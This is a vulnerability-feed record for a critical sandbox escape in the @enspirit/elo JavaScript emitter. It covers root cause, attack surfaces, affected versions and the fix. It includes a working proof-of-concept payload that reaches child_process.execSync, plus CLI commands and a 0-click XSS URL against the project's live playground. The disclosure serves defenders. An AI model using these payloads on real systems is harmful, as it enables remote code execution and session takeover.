{"id":"CVE-2026-44267","kind":"vulnerability","aliases":["CVE-2026-44267","GHSA-33r5-xmm8-v6x5"],"related":[],"title":"Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access","description":"### Summary\n\nAn unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — `defaultFormats.elo.parse()`, the `bin/elo` CLI, or the live browser playground at `elo-lang.org/try` — can execute arbitrary code in the host JavaScript runtime. A payload built from the `.constructor.constructor` chain compiles, without modification, to a live `Function` invocation in the emitted JavaScript, escaping any sandbox assumption around \"Elo is a safe data/DSL language.\"\n\n### Vulnerable sink and root cause\n\nThree interacting sites in `src/` produce the bug at commit `749af7b`:\n\n1. **`src/transform.ts:144–158`** — the `member_access` handler allows access on types `any`, `object`, or `array` without filtering the property name. This is the only place an integrator could have plugged a denylist.\n2. **`src/compilers/javascript.ts:210`** — the JS emitter writes `${objectExpr}.${ir.property}` verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript.\n3. **`src/parser.ts:163–170, 748–750`** — the parser accepts `constructor` (and other JS meta-property names) as an ordinary identifier, so `.constructor` clears type-checking without triggering any warning.\n\nCombined, the Elo expression `({}).constructor.constructor('…')()` compiles to a live `Function('…')()` call in the emitted JS, executing in the realm of whichever sink runs the compiled code.\n\n### Attack surfaces\n\nAll three surfaces share the same root cause (no denylist in `transform.ts`) and are addressed by the same one-file patch:\n\n| # | Entry point | Threat model |\n|---|---|---|\n| 1 | Browser playground — `https://elo-lang.org/try/?code=…&run=1` | **0-click XSS / account takeover** against elo-lang.org. `?run=1` triggers `setTimeout(() => this.run(), 100)` in `playground_controller.ts:531`; the server issues a 301 that preserves `?code=`. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org. |\n| 2 | `bin/elo` CLI | **RCE on CI / DevOps hosts.** Both `node bin/elo payload.elo` and `node bin/elo -e \"_\" -d @payload.elo -f elo` fire. The `-f elo` path is especially severe: the flag exists to pass user-supplied files as *data* into an Elo pipeline. No integrator expects a data-format flag to shell out to `/usr/bin/id`. |\n| 3 | Library API — `defaultFormats.elo.parse()` | **Node.js RCE for any downstream integrator** using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). |\n\n### Proof of Concept\n\n**Common payload (works on all three entry points):**\n\n```elo\n({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()\n```\n\n**Library API** — `poc-minimal.js`:\n\n```js\n// npm install elo\nconst { defaultFormats } = require('elo');\n\nconst payload = \"({}).constructor.constructor('return this.constructor.constructor(\\\\'return process\\\\')().mainModule.require(\\\\'child_process\\\\').execSync(\\\\'id\\\\').toString()')()\";\n\nconsole.log(defaultFormats.elo.parse(payload));\n// → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=…\n```\n\n**CLI** — `poc-cli.sh`:\n\n```sh\nnode bin/elo payload.elo\n# uid=1000(ultrasupara)…\n\nnode bin/elo -e \"_\" -d @payload.elo -f elo\n# uid=1000(ultrasupara)…\n```\n\n**Browser playground** — 0-click XSS URL:\n\n```\nhttps://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1\n```\n\nOpening this URL causes `alert(document.domain)` to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the `?code=` parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report.\n\n### Independence from GHSA #3 (AST-API injection)\n\nThis finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's identifier regex `^[a-zA-Z_][a-zA-Z0-9_]*$` happens to accept `constructor`, and its threat model requires an attacker-controlled AST *object* rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.","summary":"The Elo JavaScript emitter writes unfiltered `.constructor` member accesses into generated JavaScript, so a crafted Elo expression compiles to a live Function call. An attacker who controls the input string can run arbitrary code in the host JavaScript runtime, including shell commands through Node.js.","severity":"critical","cvss":9.8,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"@enspirit/elo","fixed":["1.0.1"],"affected":"<= 1.0.0","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["ci","cwe-1336","cwe-693","cwe-79","cwe-94","elo","node.js","npm","package","rule-engine"],"not_affected_if":["no-untrusted-input","static-config-only"],"how_to_check":"- Check the installed version with `npm ls @enspirit/elo` and look for any version at or below `1.0.0`.\n- Search lockfiles and dependency trees for `@enspirit/elo` to find transitive copies.\n- Find where the library's `defaultFormats.elo.parse()` or the `bin/elo` CLI receives strings from outside the team.","fix":"- `@enspirit/elo`: move to `1.0.1`.","status":"open","published_at":"2026-11-03T17:53:42+00:00","first_seen_at":"2026-11-03T17:57:06+00:00","triaged_at":"2026-11-03T17:57:18+00:00","updated_at":"2026-11-03T17:57:18+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-03T17:57:18Z","model":"claude-haiku-5-5","output":{"fix":"- `@enspirit/elo`: move to `1.0.1`.","reach":"network","title":"Elo JavaScript emitter lets a string run arbitrary Node.js code","impact":"high","summary":"The Elo JavaScript emitter writes unfiltered `.constructor` member accesses into generated JavaScript, so a crafted Elo expression compiles to a live Function call. An attacker who controls the input string can run arbitrary code in the host JavaScript runtime, including shell commands through Node.js.","audience":"developers","category":"package","nicknames":[],"who_cares":["npm","node.js","elo","ci","rule-engine"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"Attacker runs arbitrary shell commands as the host process user.","analyst_note":"","how_to_check":"- Check the installed version with `npm ls @enspirit/elo` and look for any version at or below `1.0.0`.\n- Search lockfiles and dependency trees for `@enspirit/elo` to find transitive copies.\n- Find where the library's `defaultFormats.elo.parse()` or the `bin/elo` CLI receives strings from outside the team.","plain_action":"","needs_analyst":false,"not_affected_if":["static-config-only","no-untrusted-input"],"who_is_affected":"Teams that pass untrusted or user-supplied strings into Elo's parse function or the bin/elo CLI are exposed, because the flaw runs on the host Node.js process. Projects that only use Elo on fixed, trusted input defined by developers are less exposed but should still upgrade. The browser playground at elo-lang.org is listed as a separate attack surface in the sources.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.00089,"input_tokens":5801,"output_tokens":619,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-1336':32B '-2026':19A,27A '-44267':20A,28A '-693':34B '-79':36B '-94':38B '/try':118C '/try/?code=':324C '/try/?code=%28%7b%7d%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1':531C '/usr/bin/id':419C '0':327C,525C '1':174C,319C,326C,335C '100':339C,542C '1000':498C,501C,511C,521C '144':176C '158':177C '163':236C '170':237C '2':207C,364C '210':209C '3':234C,420C,585C,604C '301':346C,554C '33r5':23A '748':238C '749af7b':173C '750':239C '9':618C 'a-za-z':610C 'a-za-z0':614C 'accept':242C 'access':17A,54B,180C,183C 'account':330C 'address':307C 'alert':536C 'allow':182C 'api':422C,471C,588C,601C 'arbitrari':8A,78B,121C 'around':151C 'array':189C 'assumpt':150C 'ast':587C,600C 'ast-api':586C,599C 'attach':577C 'attack':70B,93C,291C 'automat':540C 'beyond':548C 'bin/elo':108C,365C,374C,378C,508C,514C 'browser':10A,113C,320C,523C 'bug':170C 'builder':440C 'built':130C 'call':68B,275C 'captur':572C 'case':446C 'caus':162C,300C,535C 'chain':134C 'check':260C 'child':465C,489C 'ci':30B,369C 'clear':257C 'cli':109C,366C,504C 'click':328C,526C 'code':11A,79B,122C,290C,349C,558C 'combin':265C 'command':87B 'commit':172C 'common':450C 'compil':63B,135C,270C,289C 'compromis':357C 'concept':449C 'configur':436C 'console.log':494C 'const':477C,481C 'constructor':15A,52B,243C,256C 'constructor.constructor':133C,269C,459C,483C 'contain':354C 'control':72B,95C 'could':202C 'craft':60B 'cve':18A,26A 'cwe':31B,33B,35B,37B 'd':380C,516C 'data':402C,412C 'data-format':411C 'data/dsl':156C 'defaultformat':478C 'defaultformats.elo.parse':106C,423C,495C 'denylist':206C,302C 'devop':370C 'document':444C 'document.domain':537C 'downstream':428C 'dsl':437C,441C 'e':379C,515C 'elo':1A,39B,47B,61B,101C,152C,267C,383C,387C,405C,431C,458C,476C,480C,519C 'elo-lang.org':117C,323C,333C,363C,530C 'elo-lang.org/try':116C 'elo-lang.org/try/?code=':322C 'elo-lang.org/try/?code=%28%7b%7d%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1':529C 'emiss':104C 'emit':145C,232C,278C 'emitt':3A,49B,212C 'end':562C,564C 'end-to-end':561C 'engin':45B,435C 'enspirit/elo':29A 'entri':315C,456C 'escap':6A,147C 'especi':390C 'execsync':467C,491C 'execut':12A,120C,280C,565C 'exist':394C 'expect':409C 'express':62B,268C 'f':382C,386C,518C 'file':313C,400C 'filter':191C 'find':591C 'fire':384C,539C 'fix':606C 'flag':393C,414C 'flow':229C 'form':439C 'format':413C 'function':67B,141C,274C 'generat':56B 'ghsa':22A,584C,603C 'ghsa-33r5-xmm8-v6x5':21A 'gid':500C 'group':503C 'h':619C 'handler':181C 'host':82B,125C,371C 'id':468C,492C 'identifi':254C,608C 'includ':85B 'independ':582C,593C 'inject':589C 'input':74B 'instal':475C 'intact':560C 'integr':201C,408C,429C 'interact':164C,547C 'invoc':142C 'ir.property':215C 'issu':344C 'javascript':2A,48B,57B,83B,103C,126C,146C,233C 'javascript-emiss':102C 'js':211C,246C,279C,473C 'languag':157C 'librari':421C,470C 'link':552C 'live':66B,112C,140C,273C,568C 'mainmodule.require':464C,488C 'medium':597C 'medium-sever':596C 'member':16A,53B,179C 'meta':248C 'meta-properti':247C 'model':318C 'modif':137C 'ms':543C 'name':194C,223C,250C 'navig':549C 'node':373C,377C,507C,513C 'node.js':9A,40B,89B,424C 'npm':41B,474C 'object':187C 'objectexpr':214C 'one':312C 'one-fil':311C 'open':532C 'ordinari':253C 'origin':580C 'output':219C 'packag':42B 'paramet':559C 'parser':241C 'pass':98C,396C 'patch':314C 'path':105C,388C 'payload':129C,356C,451C,482C,496C 'payload.elo':375C,381C,509C,517C 'pipelin':406C 'place':199C 'playground':114C,321C,524C 'playground_controller.ts:531':341C 'plug':204C 'poc-cli.sh':505C 'poc-minimal.js':472C 'point':316C,457C 'preserv':348C,556C 'primari':443C 'process':463C,466C,487C,490C 'produc':168C 'product':569C 'proof':447C 'properti':193C,222C,249C 'rce':367C,425C 'realm':283C 'record':576C 'redirect':555C 'regex':609C 'report':581C,602C 'requir':479C 'return':460C,462C,484C,486C 'root':161C,299C 'rule':44B,434C 'rule-engin':43B 'run':77B,287C,325C,334C 'runtim':84B,127C 'safe':155C 'sandbox':5A,149C 'screen':575C 'server':343C 'session':361C 'settimeout':337C 'sever':391C,598C 'sh':506C 'share':296C,351C 'shell':86B,416C 'sink':159C,286C 'site':165C,570C 'src':167C 'src/compilers/javascript.ts':208C 'src/parser.ts':235C 'src/transform.ts':175C 'step':228C 'string':75B,97C 'summari':90C 'suppli':399C 'surfac':292C,295C 'surviv':225C 'takeov':331C 'this.constructor.constructor':461C,485C 'this.run':338C 'threat':317C 'three':163C,294C,455C 'tostr':469C,493C 'transform':227C 'transform.ts':304C 'trigger':262C,336C 'type':185C,259C 'type-check':258C 'uid':497C,510C,520C 'ultrasupara':499C,502C,512C,522C 'unauthent':92C 'unescap':230C 'unfilt':14A,51B 'url':352C,528C,534C 'use':430C,445C 'user':398C,546C 'user-suppli':397C 'v6x5':25A 'verbatim':216C 'via':13A 'visitor':359C 'vulner':158C 'warn':264C 'whichev':285C 'without':136C,190C,261C 'work':452C 'write':50B,213C 'xmm8':24A 'xss':329C,527C 'z':613C 'z0':617C 'za':612C,616C","nicknames":[],"mitigations":[],"who_affected":"Teams that pass untrusted or user-supplied strings into Elo's parse function or the bin/elo CLI are exposed, because the flaw runs on the host Node.js process. Projects that only use Elo on fixed, trusted input defined by developers are less exposed but should still upgrade. The browser playground at elo-lang.org is listed as a separate attack surface in the sources.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["elo"],"ptokens":["elo","enspirit"],"labels":["ci","critical","cwe1336","cwe693","cwe79","cwe94","elo","nodejs","npm","package","ruleengine"],"campaign_type":null,"first_public_at":"2026-10-30T17:22:48+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-33r5-xmm8-v6x5","url":"https://github.com/advisories/GHSA-33r5-xmm8-v6x5","severity":"critical","published_at":"2026-11-03T17:53:42+00:00","modified_at":"2026-11-03T17:53:43+00:00","first_seen_at":"2026-11-03T17:57:06+00:00","fetched_at":"2026-11-03T19:00:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-44267","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44267","severity":null,"published_at":"2026-11-03T18:18:03+00:00","modified_at":"2026-11-03T18:18:03+00:00","first_seen_at":"2026-11-03T18:22:10+00:00","fetched_at":"2026-11-03T18:22:11+00:00","note":null}],"documents":[{"id":59499,"url":"https://api.github.com/repos/enspirit/elo/security-advisories/GHSA-33r5-xmm8-v6x5","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":59500,"url":"https://github.com/enspirit/elo/security/advisories/GHSA-33r5-xmm8-v6x5","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-10-30T17:22:48+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":59661,"url":"https://github.com/enspirit/elo/commit/2136da1f64eec8ebf99890d3100be9394534b842","title":"Patch: github.com","kind":"other","source":"nvd","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":59471,"url":"https://github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}